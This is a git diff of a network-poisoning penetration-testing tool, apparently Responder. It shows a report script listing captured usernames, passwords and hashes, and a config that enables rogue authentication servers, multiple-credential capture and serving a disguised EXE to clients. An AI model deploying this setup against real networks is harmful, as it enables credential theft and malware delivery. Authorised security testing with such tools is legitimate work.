+ print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
+
+def GetStatisticUniqueLookups(cursor):
+ res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
+ for row in res.fetchall():
+ print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
+
+
+def SavePoisonersToDb(result):
+
+ for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
+ if not k in result:
+ result[k] = ''
+
+def SaveToDb(result):
+
+ for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
+ if not k in result:
+ result[k] = ''
+
+cursor = DbConnect()
+print(color("[+] Generating report...\n", code = 3, modifier = 1))
+
+print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
+GetUniqueDHCP(cursor)
+print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
+GetUniqueLookupsIP(cursor)
+print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
+GetUniqueLookups(cursor)
+GetStatisticUniqueLookups(cursor)
+print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
+GetResponderUsernames(cursor)
+print(color("\n[+] Username details:", code = 2, modifier = 1))
+GetResponderUsernamesWithDetails(cursor)
+GetResponderUsernamesStatistic(cursor)
+print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
+cursor.close()
+try:
+ cursor = FingerDbConnect()
+ GetRunFinger(cursor)
+except:
+ pass
+print('\n')
diff --git a/Responder.conf b/Responder.conf
old mode 100644
new mode 100755
index d5ddb1f..5a4e46a
--- a/Responder.conf
+++ b/Responder.conf
@@ -1,59 +1,116 @@
[Responder Core]
-;;
-;Set these values to On or Off, so you can control which rogue authentication server is turned on.
-SQL = On
-SMB = On
+
+; Poisoners to start
+MDNS = On
+LLMNR = On
+NBTNS = On
+
+; Servers to start
+SQL = On
+SMB = On
+QUIC = On
+RDP = On
Kerberos = On
-FTP = On
-POP = On
-;;Listen on 25/TCP, 587/TCP
-SMTP = On
-IMAP = On
-HTTP = On
-HTTPS = On
-DNS = On
-LDAP = On
-;
-;Set a custom challenge
-Challenge = 1122334455667788
-;
-;Set this to change the default logging file
+FTP = On
+POP = On
+SMTP = On
+IMAP = On
+HTTP = On
+HTTPS = On
+DNS = On
+LDAP = On
+DCERPC = On
+WINRM = On
+SNMP = On
+MQTT = On
+
+; Custom challenge.
+; Use "Random" for generating a random challenge for each requests (Default)
+Challenge = Random
+
+; SQLite Database file
+; Delete this file to re-capture previously captured hashes
+Database = Responder.db
+
+; Default log file
SessionLog = Responder-Session.log
-;
-;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
-;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+
+; Poisoners log
+PoisonersLog = Poisoners-Session.log
+
+; Analyze mode log
+AnalyzeLog = Analyzer-Session.log
+
+; Dump Responder Config log:
+ResponderConfigDump = Config-Responder.log
+
+; Specific IP Addresses to respond to (default = All)
+; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
RespondTo =
-;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
-;RespondTo = WPAD,DEV,PROD,SQLINT
-RespondToName =
-;
+
+; Specific NBT-NS/LLMNR names to respond to (default = All)
+; Example: RespondTo = WPAD, DEV, PROD, SQLINT
+;RespondToName = WPAD, DEV, PROD, SQLINT
+RespondToName =
+
+; Specific IP Addresses not to respond to (default = None)
+; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding.
+; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
+DontRespondTo =
+
+; Specific NBT-NS/LLMNR names not to respond to (default = None)
+; Example: DontRespondToName = NAC, IPS, IDS
+DontRespondToName = ISATAP
+
+; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
+; Example: DontRespondToTLD = _dosvc, _blasvc, etc
+DontRespondToTLD = _dosvc
+
+; If set to On, we will stop answering further requests from a host
+; if a hash has been previously captured for this host.
+AutoIgnoreAfterSuccess = Off
+
+; If set to On, we will send ACCOUNT_DISABLED when the client tries
+; to authenticate for the first time to try to get different credentials.
+; This may break file serving and is useful only for hash capture
+CaptureMultipleCredentials = On
+
+; If set to On, we will write to file all hashes captured from the same host.
+; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
+; domain\popo, domain\zozo. Recommended value: On, capture everything.
+CaptureMultipleHashFromSameHost = On
+
[HTTP Server]
-;;
-;Set this to On if you want to always serve a specific file to the victim.
+
+; Set to On to always serve the custom EXE
Serve-Always = Off
-;
-;Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
+
+; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = Off
-;
-;Uncomment and specify a custom file to serve, the file must exist.
-Filename = Denied.html
-;
-;Specify a custom executable file to serve, the file must exist.
-ExecFilename = FixInternet.exe
-;
-;Set your custom PAC script
-WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
-;
-;HTML answer to inject.
-;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
-;Also, the HTML has to be in this format " Payload goes here...".
-HTMLToServe =
-;
+
+; Set to On to serve the custom HTML if the URL does not contain .exe
+; Set to Off to inject the 'HTMLToInject' in web pages instead
+Serve-Html = Off
+
+; Custom HTML to serve
+HtmlFilename = files/AccessDenied.html
+
+; Custom EXE File to serve
+ExeFilename = ;files/filetoserve.exe
+
+; Name of the downloaded .exe that the client will see
+ExeDownloadName = ProxyClient.exe
+
+; Custom WPAD Script
+; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
+WPADScript =
+
+; HTML answer to inject in HTTP responses (before